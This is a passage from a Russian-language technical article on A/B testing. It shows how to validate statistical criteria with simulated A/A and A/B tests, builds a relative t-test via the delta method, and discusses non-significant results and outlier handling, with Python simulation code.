Смысл таков: среднее в тесте и в контроле, а также разница средних должны быть из нормального распределения. Это свойство следует [из центральной предельной теоремы](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BD%D1%82%D1%80%D0%B0%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%82%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0) практически для любых выборок. Правда, выборки в таком случае должны быть достаточно большого размера. Про это я расскажу чуть дальше.
Чтобы получить доверительный интервал для истинного эффекта в A/B-тесте на уровне значимости 5%, нужно воспользоваться следующей формулой:
Есть очень распространенное заблуждение, что T-test работает только в том случае, если изначальные выборки X и Y из нормального распределения. На самом деле это не так, нам нужна только нормальность средних.
Небольшая оговоркаНа самом деле, коэффициент 1.96 (или 0.975 квантиль нормального распределения) в доверительном интервале неверен и там должно стоять другое число, рассчитанное из квантилей распределения Стьюдента. Но на большом объёме данных истинный коэффициент практически не отличается от квантили нормального распределения, поэтому в качестве очень точной и простой аппроксимации можно использовать его.
У многих людей, не знакомых близко с T-test, в этот момент может возникнуть вопрос: а как это проверить? Вдруг на самом деле T-test работает только для нормальных выборок, а я пытаюсь вас обмануть? Более того, я упоминал, что на самом деле этот критерий работает при условии выполнения центральной предельной теоремы (ЦПТ), а она работает не всегда, да и требует большого количества данных. Отсюда возникает главный вопрос: а ваши данные подпадают под действие ЦПТ или нет? Можно ли на ваших данных применять T-test или нет? А любой другой критерий, который вы придумали?
Предлагаю обсудить, как можно проверить корректность любого метода на практике и провалидировать T-test. Осознав и реализовав самостоятельно идеи из следующего параграфа, вы сможете точно быть уверенными в тех критериях, которые используете в работе.
**Следующий раздел очень важен.** Все мы допускаем ошибки, но один неверный критерий, который вы реализовали, может катастрофически отразиться на результатах всех последующих A/B-тестов.
#### Алгоритм проверки статистических критериев
Идея простая:
1. Создаём как можно больше датасетов, поделённых на контроль и тест, без какого-либо различия между ними (обычный А/А-тест).
2. Прогоняем на них придуманный критерий.
3. Если мы хотим, чтобы ошибка первого рода была 5%, то критерий должен ошибиться на этих примерах лишь в 5% случаев. То есть 0 не попал в доверительный интервал.
Если критерий ошибся в 5% случаев, значит он корректный. Если ошибок статистически значимо больше или меньше 5%, то для нас плохие новости: критерий некорректен.
Если он ошибся меньше, чем в 5% случаев, это не так страшно. Это только означает, что критерий вероятней всего не очень точный, и в большем проценте случаев мы не задетектируем эффект. Использовать такой критерий на практике можно, но, вероятно, он будет проигрывать по мощности своим конкурентам.
Но если критерий ошибся больше, чем в 5% случаев, это ALERT, плохо, страшно, ужасно. Таким критерием нельзя пользоваться! Это значит, что вы будете ошибаться больше, чем вы рассчитываете, и в большем проценте случаев раскатите тритменты, которые на самом деле не ведут к росту целевой метрики.
Резюмируя: мы генерируем большое количество А/А-тестов и на них прогоняем наш критерий. На всякий случай скажу, что A/A-тесты — это тесты без различий в двух группах, когда мы сравниваем контроль с контролем.
Как создать подходящие датасеты? Есть два способа решения проблемы:
1. Создать датасеты полностью на искусственных данных.
2. Создать датасеты, основываясь на исторических данных компании.
**Датасеты на искусственных данных.** Сначала я предлагаю обсудить первый способ, а также подробнее описать план проверки критериев:
1. Первым делом надо выбрать распределение, которое будет описывать наши данные. К примеру, если у нас метрика конверсии, то это [бернуллевское распределение](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%91%D0%B5%D1%80%D0%BD%D1%83%D0%BB%D0%BB%D0%B8), а если метрика — выручка, то лучше использовать [экспоненциальное распределение](https://ru.wikipedia.org/wiki/%D0%AD%D0%BA%D1%81%D0%BF%D0%BE%D0%BD%D0%B5%D0%BD%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B5_%D1%80%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5) в качестве самого простого приближения.
2. Следующим шагом надо написать код для нашего критерия. Для проверки нужно, чтобы он возвращал доверительный интервал для эффекта.
3. Завести счётчик bad\_cnt = 0.
4. Далее в цикле размера N, где N — натуральное число от 1000 до бесконечности, чем оно больше, тем лучше:
* Симулировать создание теста и контроля из распределения, выбранного на первом шаге.
* Запустить на сгенерированных данных наш критерий со второго шага.
* Далее проверить, лежит 0 в доверительном интервале или нет. Если нет, то увеличить счётчик bad\_cnt на 1. Здесь мы проверяем, ошибся ли критерий на текущей симуляции, или нет.
5. Построить доверительный интервал для полученной конверсии bad\_cnt / N. Вот статья на Википедии о том, [как это сделать](https://en.wikipedia.org/wiki/Binomial_proportion_confidence_interval). Если 5% не принадлежит ему, значит, критерий некорректен, и он заужает или заширяет доверительный интервал. Здесь как раз и играет выбор значения N на четвёртом шаге. Чем оно больше, тем меньше доверительный интервал для конверсии ошибок, а значит, мы более уверены в своём критерии.
> Разбор плана на примере проверки корректности T-test
```
from collections import namedtuple
import scipy.stats as sps
import statsmodels.stats.api as sms
from tqdm.notebook import tqdm as tqdm_notebook # tqdm – библиотека для визуализации прогресса в цикле
from collections import defaultdict
from statsmodels.stats.proportion import proportion_confint
import numpy as np
import itertools
import seaborn as sns
import matplotlib.pyplot as plt
import seaborn as sns
sns.set(font_scale=1.5, palette='Set2')
ExperimentComparisonResults = namedtuple('ExperimentComparisonResults',
['pvalue', 'effect', 'ci_length', 'left_bound', 'right_bound'])
# 2. Создание тестируемого критерия.
def absolute_ttest(control, test):
mean_control = np.mean(control)
mean_test = np.mean(test)
var_mean_control = np.var(control) / len(control)
var_mean_test = np.var(test) / len(test)
difference_mean = mean_test - mean_control
difference_mean_var = var_mean_control + var_mean_test
difference_distribution = sps.norm(loc=difference_mean, scale=np.sqrt(difference_mean_var))
left_bound, right_bound = difference_distribution.ppf([0.025, 0.975])
ci_length = (right_bound - left_bound)
pvalue = 2 * min(difference_distribution.cdf(0), difference_distribution.sf(0))
effect = difference_mean
return ExperimentComparisonResults(pvalue, effect, ci_length, left_bound, right_bound)
```
A/A-тест:
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 100000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/A-тест.
control = sps.expon(scale=1000).rvs(500)
test = sps.expon(scale=1000).rvs(600)
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = absolute_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 0 or right_bound < 0:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Результат вывода: реальный уровень значимости: 0.0501; доверительный интервал: [0.0487, 0.0514].
> [Посмотреть код на Гитхабе](https://github.com/DimaLunin/AB_lifehacks/blob/main/ttest.ipynb)
>
>
Возможно, у кого-то будет вопрос, за что отвечает параметр scale в функции [sps.expon](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.expon.html): это истинное значение математических ожидания этой случайной величины, а также значение стандартного отклонения случайной величины.
Пример показывает, что **для использования T-test выборка не обязательно должна быть из нормального распределения**. Это миф!
**Датасеты на исторических данных компании.** У многих компаний есть логирование событий. К примеру, данные о транзакциях пользователей за несколько лет. Это уже один готовый датасет: вы делите всех пользователей на тест и контроль и получаете один «эксперимент» для проверки вашего критерия.
Осталось понять, как из одного большого датасета сделать N маленьких датасетов. Я расскажу, как мы это делаем в Авито, но описанная механика применима практически к любой компании.
Наши пользователи размещают объявления. Каждое объявление относится только к одной категории товаров и размещено только в одном регионе. Отсюда возникает незамысловатый алгоритм:
1. Разобьём все размещения пользователей на четыре (или N в общем случае) категории: автомобили, спецтехника, услуги и недвижимость. Теперь нашу метрику, к примеру, выручку, от каждого юзера можно тоже разбить на эти категории.
2. Поделим выбранную метрику по месяцам: выручка за ноябрь, выручка за декабрь и так далее.
3. Ещё все метрики можно поделить по субъектам РФ или по группе субъектов: выручка из Москвы, выручка из Хабаровска и так далее.
4. Теперь у нас есть пользователи в каждой из этих групп. Поделим их случайно на тест и контроль и получим финальные датасеты для валидации придуманных статистических критериев.
Давайте посмотрим на картинках, как такая схема увеличивает количество датасетов:
Здесь мы смогли разбить 1 метрику (опять-таки, выручку) на 16 метрик (выручка в ноябре в автомобилях, выручка в марте в недвижимости и так далее), и получить 16 датасетов. А если добавить ещё и разделение по субъектам РФ, которых больше 80, то мы получим уже 16×80 = 1280 датасетов для проверки. И это всего за 5 месяцев! При этом, как показывает наша практика, 1000 датасетов достаточно, чтобы отделить некорректный критерий от хорошего.
Мы рассмотрели два метода проверки алгоритма: на искусственных и на реальных данных. Когда и где стоит использовать тот или иной способ проверки?
Главные плюсы искусственных данных в том, что их сколько угодно, они генерируются быстро, и вы полностью контролируете распределение. Можно создать бесконечно много датасетов, и очень точно оценить ошибку первого рода вашего критерия. Плюс, мой опыт говорит, что на начальных этапах дебага нового критерия искусственные данные сильно лучше реальных. Главный минус — вы получили корректность вашего критерия только на искусственных данных! На реальных же данных критерий может работать некорректно.
У датасетов, полученных на настоящих данных, всё наоборот: собрать большое количество датасетов сложно, да и не всегда нормально построен процесс сбора логов. Но адекватная оценка корректности критерия для проверки гипотез в вашей компании возможна только таким способом. Всегда можно реализовать такой критерий, который будет правильно работать на искусственных данных. Но, столкнувшись в реальности с более шумными данными, он может начать ошибаться чаще, чем в 5% случаев. Поэтому важно убедиться, что именно на настоящих данных метод будет работать верно.
По такой же процедуре, что описана выше, можно подобрать минимальный размер выборок для A/B-теста в вашей компании. Например, вы хотите протестировать, можно ли на 100 юзерах запустить ваш A/B-тест. Вы создаёте 1000 датасетов с размером выборок, равным 100, и на них проверяете критерий.
Итого, мой совет по проверке критерия такой: сначала валидируйте критерий на искусственных датасетах, чтобы точнее оценить, не ошибается ли он на простых распределениях. И лишь после этого переходите к датасетам на реальных данных.
Как я писал выше, таким образом мы прогоняем наши критерии только на А/А-тестах. Но на самом деле можно эмулировать и A/B-тесты. Казалось бы, зачем, но про это я расскажу позже.
Как искусственно реализовать A/B-тестДопустим, наш тритмент так повлиял на выборку, что среднее увеличилось в 2 раза, то есть прирост составил +100%. Чтобы это просимулировать, выполним следующие шаги:
* Умножим выборку в тесте на 2.
* Поменяем понятие того, что критерий ошибся. Раньше мы проверяли, лежит 0 в доверительном интервале, или нет. Но сейчас это не то, что нам нужно. Мы строим доверительный интервал для истинного повышения, поэтому именно этот прирост и должен принадлежать интервалу в 95% случаев.
Дополнительные замечания про искусственную реализацию A/B-тестов:
* В общем случае можно умножать не только на 2, но и на любое Z значение. Тогда в доверительном интервале должно лежать значение Z - 1 в 95% случаев. Например, если вы домножаете выборку на 1.5, то прирост составляет +0.5 или +50%.
* Можно генерировать A/B-тест не только умножением на константу. Есть много разных вариантов, например, не умножать, а добавлять константу. Или реализовать более сложные механики, имитирующие влияние тритмента на пользователей.
Далее я буду проверять примеры на искусственных данных. Но в конце второй статьи покажу корректность всех методов и на наших настоящих данных. А ещё сравню все описанные сейчас и в дальнейшем критерии между собой.
А теперь поговорим про относительный T-test критерий.
#### Относительный T-test критерий
Тут, всё просто: давайте возьмём доверительный интервал в абсолютном случае и поделим его на среднее в контроле.
По смыслу всё корректно. Точно так же, как мы эффект делим на среднее в контроле, чтобы получить относительный прирост, мы отнормируем значения границ доверительного интервала, поделив их на среднее в контроле. Проверим, что всё хорошо, на А/А-тесте:
A/A-проверка
```
# 2. Создание тестируемого критерия.
def relative_ttest(control, test):
mean_control = np.mean(control)
mean_test = np.mean(test)
var_mean_control = np.var(control) / len(control)
var_mean_test = np.var(test) / len(test)
difference_mean = mean_test - mean_control
difference_mean_var = var_mean_control + var_mean_test
difference_distribution = sps.norm(loc=difference_mean, scale=np.sqrt(difference_mean_var))
left_bound, right_bound = difference_distribution.ppf([0.025, 0.975])
left_bound = left_bound / np.mean(control) # Деление на среднее
right_bound = right_bound / np.mean(control) # Деление на среднее
ci_length = (right_bound - left_bound)
pvalue = 2 * min(difference_distribution.cdf(0), difference_distribution.sf(0))
effect = difference_mean
return ExperimentComparisonResults(pvalue, effect, ci_length, left_bound, right_bound)
```
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 100000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/A-тест.
control = sps.expon(scale=1000).rvs(1000)
test = sps.expon(scale=1000).rvs(1100)
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 0 or right_bound < 0:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Результат вывода: реальный уровень значимости: 0.0507; доверительный интервал: [0.0494, 0.0521].
И вроде бы на этом стоит закончить, уровень значимости 5%, всё, как мы и хотели. Но давайте проверим, что происходит на искусственно сгенерированных A/B-тестах.
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 100000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/B-тест
control = sps.expon(scale=1000).rvs(1000)
test = sps.expon(scale=1000).rvs(1100)
test *= 2
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 1 or right_bound < 1:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Результат вывода: реальный уровень значимости: 0.1278; доверительный интервал: [0.1258, 0.1299].
Что-то пошло сильно не так. Критерий ошибается не в 5% случаях, а в 12%. А это значит, что мы будем совершать в два раза больше ошибок, чем рассчитывали. Хочу ещё раз отметить: **очень важно валидировать критерии!**Чтобы убедиться в этом, можете сами [запустить код отсюда](https://github.com/DimaLunin/AB_lifehacks/blob/main/ttest.ipynb).
Теоретическое обоснование полученного результата простое: мы не учли, что «С с чертой» — это оценка среднего, а не истинное математическое ожидание. Поэтому, когда мы делим на него, мы не учитываем шум, который возникает в знаменателе. А после проверки мы получили важный результат для относительной постановки T-test:
Но теперь надо придумать, как это исправить. Предлагаю перейти к такой случайной величине:
Утверждается, что её математическое ожидание — это именно то, что нам нужно в относительной постановке A/B-тестов.
Доказательство корректностиВообще, математическое ожидание у такой статистики не равно величине, которую мы хотим оценить в гипотезе относительного A/B-тестирования. Но здесь на помощь приходит разложение в многочлен Тейлора:
Подробнее про этот переход можно [почитать здесь](http://www.stat.cmu.edu/~hseltman/files/ratio.pdf). Единственное, надо помнить, что статистика среднего сходится к своему математическому ожиданию из усиленного закона больших чисел, поэтому разложение в многочлен Тейлора здесь работает.
Но надо понять, как посчитать дисперсию этой статистики. Для этого предлагается применить [дельта-метод](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D1%8C%D1%82%D0%B0-%D0%BC%D0%B5%D1%82%D0%BE%D0%B4). В итоге, формула дисперсии будет такой:
А в случае выборок разного размера такой:
Выглядит сложно и страшно, поэтому вот код критерия и его проверка, которые вы можете использовать.
Реализация и проверка критерия
```
# 2. Создание тестируемого критерия.
def relative_ttest(control, test):
mean_control = np.mean(control)
var_mean_control = np.var(control) / len(control)
difference_mean = np.mean(test) - mean_control
difference_mean_var = np.var(test) / len(test) + var_mean_control
covariance = -var_mean_control
relative_mu = difference_mean / mean_control
relative_var = difference_mean_var / (mean_control ** 2) \
+ var_mean_control * ((difference_mean ** 2) / (mean_control ** 4))\
- 2 * (difference_mean / (mean_control ** 3)) * covariance
relative_distribution = sps.norm(loc=relative_mu, scale=np.sqrt(relative_var))
left_bound, right_bound = relative_distribution.ppf([0.025, 0.975])
ci_length = (right_bound - left_bound)
pvalue = 2 * min(relative_distribution.cdf(0), relative_distribution.sf(0))
effect = relative_mu
return ExperimentComparisonResults(pvalue, effect, ci_length, left_bound, right_bound)
```
А/B-проверка:
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 100000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/B-тест.
control = sps.expon(scale=1000).rvs(2000)
test = sps.expon(scale=1000).rvs(2100)
test *= 2
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 1 or right_bound < 1:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Реальный уровень значимости: 0.0501; доверительный интервал: [0.0487, 0.0514].
Для A/A-теста: реальный уровень значимости: 0.05; доверительный интервал: [0.049, 0.052].
> [Посмотреть код на Гитхабе](https://github.com/DimaLunin/AB_lifehacks/blob/main/ttest.ipynb)
>
>
Итак, относительный T-test критерий работает на искусственных данных. Но, возможно, у вас возник вопрос: а не ухудшим ли мы таким образом мощность критериев? Вдруг дополнительный шум в знаменателе так расширит доверительный интервал, что критерий станет бесполезным? И если раньше, с обычным критерием, мы детектировали эффект в 80% случаев, а сейчас только в 50%, то, очевидно, мы не будем пользоваться относительным критерием: мощность всегда превыше всего.
Ответ: нет, этого не произойдёт. Вот практический пример:
```
absolute_power_cnt = 0
relative_power_cnt = 0
# 4. Цикл проверки.
N = 10000
for i in tqdm_notebook(range(N)):
X = sps.expon(scale=1000).rvs(10000)
Y = sps.expon(scale=1000).rvs(10000) * 1.01
_, _, _, rel_left_bound, rel_right_bound = relative_ttest(X, Y)
_, _, _, abs_left_bound, abs_right_bound = absolute_ttest(X, Y)
if rel_left_bound > 0:
relative_power_cnt += 1
if abs_left_bound > 0:
absolute_power_cnt += 1
print(f"Мощность относительного критрерия VS мощность абсолютного критерия: {relative_power_cnt / N} VS. {absolute_power_cnt /N}")
```
Мощность относительного критрерия VS мощность абсолютного критерия: 0.0933 VS. 0.0983
Как видно, результаты по мощности относительного и абсолютного критериев практически идентичны. Если хотите, можете прочесть теоретическое обоснование.
Теоретическое обоснованиеДавайте построим доверительный интервал для статистики X, объявленной чуть выше, не через дельта-метод, а через бутстрап. Причём, так как эта статистика из нормального распределения (также из дельта-метода), то для него можно построить [перцентильный доверительный интервал](http://statistica.ru/theory/metod-butstrepa-i-ego-primenenie-v-sovremennom-analize-dannykh/).
Что нас тогда будет интересовать? В каком проценте случаев насемплированный X < 0. Если процент будет меньше α, то эффект задетектирован.
То есть, если бы мы строили перцентильный доверительный интервал для абсолютной метрики, то процент случаев, когда T−C будет меньше 0, такой же, как и X < 0. А значит, отвержение гипотезы в относительном и абсолютном случаях будет происходить одновременно. И не может быть такого, что абсолютный критерий задетектировал эффект, а относительный — нет. По крайней мере, на большом объёме данных.
**Итог:** я показал, как правильно построить относительный T-test критерий. Теперь у вас есть бейзлайн-критерий для относительных A/B-тестов. На этом с T-test покончено. Давайте обсудим серые метрики или не статистически значимые результаты в A/B-тестах.
Серые метрики в A/B-тестах
--------------------------
Допустим, вы добавили новую фичу на сайте и решили проверить, приросла ли выручка.
Как в основном смотрят на результаты теста:
* P-value = 0.4, результат не статистически значим.
* Прирост: +10000 рублей на всю тестовую группу.
* +1% выручки.
В этот момент аналитики часто думают: «Чёрт, результаты серые, ничего сказать нельзя. Может на самом деле и есть эффект, но мы его не видим. Выручка же положительна, давайте катить».
Но это на самом деле и из таких результатов можно вытащить инсайты. Для этого добавим в результаты доверительные интервалы:
* P-value = 0.4, результат не статистически значим.
* Прирост: +10000±40000 рублей на всю тестовую группу.
* +1±4% выручки.
А теперь спросим себя: может ли в таком случае прирост на самом деле составлять не 10 000 рублей, как мы получили, а 100 000 рублей? Если бы у нас действительно был эффект в 100 000 рублей, то вероятность в таком случае получить прирост +10 000 рублей (или меньше), равнялась бы 0! Поэтому мы можем говорить, что гипотеза о таком большом приросте несостоятельна. А то, что вероятность равна 0 следует из ширины доверительного интервала.
Более подробное объяснениеДля начала перейдём к метрике средней выручки на человека. Пусть у нас всего 10 000 человек, тогда средний прирост на пользователя +1±4 рубля, а истинный средний прирост выручки на человека +10 рублей, если истинная выручка +100 000. Как я писал выше, если выборка большого размера, то на ней работает ЦПТ, и среднее будет из нормального распределения.
Мы знаем, что оценка половины ширины доверительного интервала у нас примерно 4 рубля, а ещё знаем, что наши данные — из нормального распределения, у которого есть два параметра:
* μ — математическое ожидание случайной величины из этого распределения;
* σ — среднеквадратическое отклонение.
Тогда, если бы истинный эффект был 10 рублей, то мы знаем μ этого распределения. Осталось понять σ. Если вспомнить формулу доверительного интервала в T-test, то становится понятно, что σ=4/1.96=2.04. А значит, мы знаем все параметры этого распределения и можем его визуализировать:
Жёлто-зелёным обозначено предполагаемое распределение выручки. Какова вероятность для такого распределения получить значение меньшее, или равное единице (левее красной точки)? Она равна 0. Поэтому, гипотеза о приросте в 10 рублей несостоятельна. Здесь, кстати, видна роль ширины доверительного интервала: чем она меньше, тем меньше σ и тем менее «широким» будет распределение. А значит, менее состоятельно, что истинный прирост равняется 10 рублям.
Ещё раз повторим основные моменты того, как мы оценили гипотезу о несостоятельности большого прироста:
* Нормальность этого распределения следует из ЦПТ.
* Параметр μ — это то, что мы хотели бы увидеть в качестве прироста.
* Параметр σ высчитывается при построении доверительного интервала.
* Красная точка — полученный на тесте эффект.
* Далее мы смотрим, в каком проценте случаев в построенном распределении мы получим наблюдаемый эффект (в текущем примере это 1 рубль). Если эта вероятность меньше α, мы отвергнем гипотезу об истинном эффекте в 10 рублей.
Процедура практически полностью эквивалентна обычному A/B-тесту. В обычном A/B-тесте мы отвергаем гипотезу о равенстве разницы средних нулю. В этой процедуре мы отвергаем гипотезу о равенстве разницы средних 10 рублям.
Так что, если вы получили серые метрики, то всё ещё можете понять, какой эффект вы не сможете получить на ваших данных. Также отсюда следует простое правило: **чем меньше доверительный интервал, тем вы уверенней в том, что у вас никакого эффекта нет.**
**Итог:** когда ваши метрики — серые, надо говорить не то, что не получилось обнаружить эффект, а то, что если он и есть, то он находится в определённых границах. И уже из этого делать выводы.
В заключительной части статьи я предлагаю обсудить одну из самых интересных тем: методы борьбы с выбросами.
Методы борьбы с выбросами в данных
----------------------------------
Не секрет, что чем больше у вас выбросов, тем больше будет дисперсия в данных. А отсюда уже следует, что у вас будет менее мощный критерий. Поэтому иногда аналитикам приходит в голову что-то сделать с данными, чтобы учитывать выбросы с меньшим весом. И в погоне за очисткой данных они начинают использовать «некорректные» критерии для проверки гипотез о равенстве средних. Это:
* [Критерий Манна-Уитни](https://ru.wikipedia.org/wiki/U-%D0%BA%D1%80%D0%B8%D1%82%D0%B5%D1%80%D0%B8%D0%B9_%D0%9C%D0%B0%D0%BD%D0%BD%D0%B0_%E2%80%94_%D0%A3%D0%B8%D1%82%D0%BD%D0%B8).
* Логарифмирование метрики.
* Убрать топ n% пользователей с максимальной метрикой в тесте и контроле.
Но все же используют, никаких проблем не было...
#### Критерии Манна-Уитни и логарифмирование метрики
Давайте рассмотрим пример. Пусть мы провели A/B-тест со скидками и теперь хотим проверить, правда ли среднее выручки в тесте стало больше среднего в контроле. Результаты [T-test](https://docs.scipy.org/doc/scipy/reference/generated/scipy.stats.ttest_ind.html) получились такими:
```
sps.ttest_ind(sample_control, sample_test, alternative='less')
```
P-value = 0.68.
Грусть, печаль, тоска: результаты не статистически значимы. Но давайте посмотрим на гистограмму распределения:
Видно, что здесь есть выбросы, и хочется уменьшить их влияние на дисперсию выборок. В таких случаях чаще всего предлагают прологарифмировать метрику или перейти [к критерию Манна-Уитни](https://ru.wikipedia.org/wiki/U-%D0%BA%D1%80%D0%B8%D1%82%D0%B5%D1%80%D0%B8%D0%B9_%D0%9C%D0%B0%D0%BD%D0%BD%D0%B0_%E2%80%94_%D0%A3%D0%B8%D1%82%D0%BD%D0%B8), который устойчив к выбросам. Давайте посмотрим на результаты этих критериев:
```
sps.ttest_ind(np.log(sample_control + 1), np.log(sample_test + 1), alternative='less')
```
P-value = 0.01.
```
sps.mannwhitneyu(sample_control, sample_test, alternative='less')
```
P-value = 0.00.
Отлично, результат в обоих случаях статистически значим, тест лучше контроля. Ура, давайте катить! Но напоследок убедимся, что среднее в тесте реально больше среднего в контроле:
```
print(f"среднее в тесте: {np.mean(sample_test)}\n"
f"среднее в контроле: {np.mean(sample_control)}")
```
Среднее в тесте: 39.95, cреднее в контроле: 50.71.
Хм, странно, мы получили противоположный результат. Но аналитик может подумать, что это шум, и всё равно раскатить тест. И вот теперь я предлагаю посмотреть на саму выборку:
```
sample_test = [8] * 30 + [20] * 30 + [100] * 10 + [1000]
sample_control = [3] * 30 + [10] * 30 + [200] * 10 + [1200]
sample_control = np.array(sample_control) + sps.norm().rvs(len(sample_control))
sample_test = np.array(sample_test) + sps.norm().rvs(len(sample_test))
```
В этом примере есть четыре сегмента пользователей по их выручке и наш тест повлиял на них так:
* 3 → 8
* 10 → 20
* 200 → 100
* 1200 → 1000
Видно, что искусственный тест хорошо повлиял на пользователей с мелкой выручкой и вроде как плохо на пользователей с большой выручкой, но это не статистически значимо. А теперь представим, что надо было подождать, чтобы выборка стала больше, а пропорции сегментов при этом сохранились. В данном случае я просто размножил выборку в 20 раз:
```
sample_test = [8] * 600 + [20] * 600 + [100] * 200 + [1000] * 20
sample_control = [3] * 600 + [10] * 600 + [200] * 200 + [1200] * 20
sample_control = np.array(sample_control) + sps.norm().rvs(len(sample_control))
sample_test = np.array(sample_test) + sps.norm().rvs(len(sample_test))
```
Теперь снова запустим T-test, но в этот раз с альтернативой, что в контроле значение больше, чем в тесте. То есть проверим то, что катить тест не надо:
```
sps.ttest_ind(sample_control, sample_test, alternative='greater')
```
P-value = 0.02.
> [Посмотреть код на Гитхабе](https://github.com/DimaLunin/AB_lifehacks/blob/main/outliers_in_ab_tests.ipynb)
>
>
Мы получили совершенно противоположный результат. В итоге получается, что критерии Манна-Уитни и логарифмирование метрики привели нас к тому, что мы раскатили тритмент, уменьшающий выручку! Поэтому **в случае, когда ваш тритмент слабо увеличил метрику у мелких пользователей, но сильно уменьшил у крупных пользователей, эти критерии легко могут привести вас к ложному результату**.
В чем истинная проблема этих методов? В том, что вы смотрите неинтерпретируемые метрики. Вы не сможете объяснить, зачем нужно увеличивать среднее логарифмов ваших метрик или зачем нужно, чтобы одно распределение было больше другого. Бизнесу всегда нужна конкретика: мы хотим повысить средний чек или хотим повысить медианный или квантильный чек, а не какие-то непонятные метрики. Если есть чёткая задача, то надо тщательно подбирать эквивалентные гипотезы, которые не приведут к некорректному результату.
Поэтому рекомендация: **никогда не используйте эти критерии**! Есть другие способы борьбы с выбросами.
#### Убрать топ 1% пользователей с максимальной метрикой в тесте и контроле
Теперь посмотрим на более нетривиальный пример: выкидывать топ 1% (или n%) в контроле и в тесте, чтобы избавиться от выбросов. Чтобы продемонстрировать, почему он некорректен, предлагаю проверить метод на искусственных данных.
A/A-проверка:
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 30000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/A-тест.
control = sps.expon(scale=1000).rvs(1000)
test = sps.expon(scale=1000).rvs(1000)
outlier_control_filter = np.quantile(control, 0.99)
outlier_test_filter = np.quantile(test, 0.99)
control = control[control < outlier_control_filter]
test = test[test < outlier_test_filter]
# 4.b. Запускаю критерий.
_, _, _, left_bound, right_bound = relative_ttest(control, test)
# 4.c. Проверяю, лежит ли истинная разница средних в доверительном интервале.
if left_bound > 0 or right_bound < 0:
bad_cnt += 1
# 5. Строю доверительный интервал для конверсии ошибок у критерия.
left_real_level, right_real_level = proportion_confint(count = bad_cnt, nobs = N, alpha=0.05, method='wilson')
# Результат.
print(f"Реальный уровень значимости: {round(bad_cnt / N, 4)};"
f" доверительный интервал: [{round(left_real_level, 4)}, {round(right_real_level, 4)}]")
```
Реальный уровень значимости: 0.0675; доверительный интервал: [0.0647, 0.0704].
> [Посмотреть код на Гитхабе](https://github.com/DimaLunin/AB_lifehacks/blob/main/outliers_in_ab_tests.ipynb)
>
>
Мы получили, что в таком случае процент ошибок первого рода не 5%, как мы ожидали, а 6.8%. Это значит, что метод некорректен и его нельзя использовать.
Почему так произошло? Здесь есть две проблемы.
**Первая проблема** в том, что мы не знаем точного значения 0.99 квантили, а лишь её оценку. Без точного значения у нас получаются разные пороги в тесте и в контроле, а значит, и разные итоговые выборки. К примеру, в одной выборке все значения будут меньше 2000, а в другой — меньше 3000, потому что из-за шума получились разные оценки квантили.
Чтобы исправить этот недостаток, можно брать одну квантиль для теста и контроля, посчитанную на всём тесте или на всём контроле или на объединенной выборке теста и контроля. На А/А-тестах такая вещь работает.
A/A-проверка
```
# 3. Заводим счётчик.
bad_cnt = 0
# 4. Цикл проверки.
N = 30000
for i in tqdm_notebook(range(N)):
# 4.a. Тестирую A/A-тест.
control = sps.expon(scale=1000).rvs(1000)
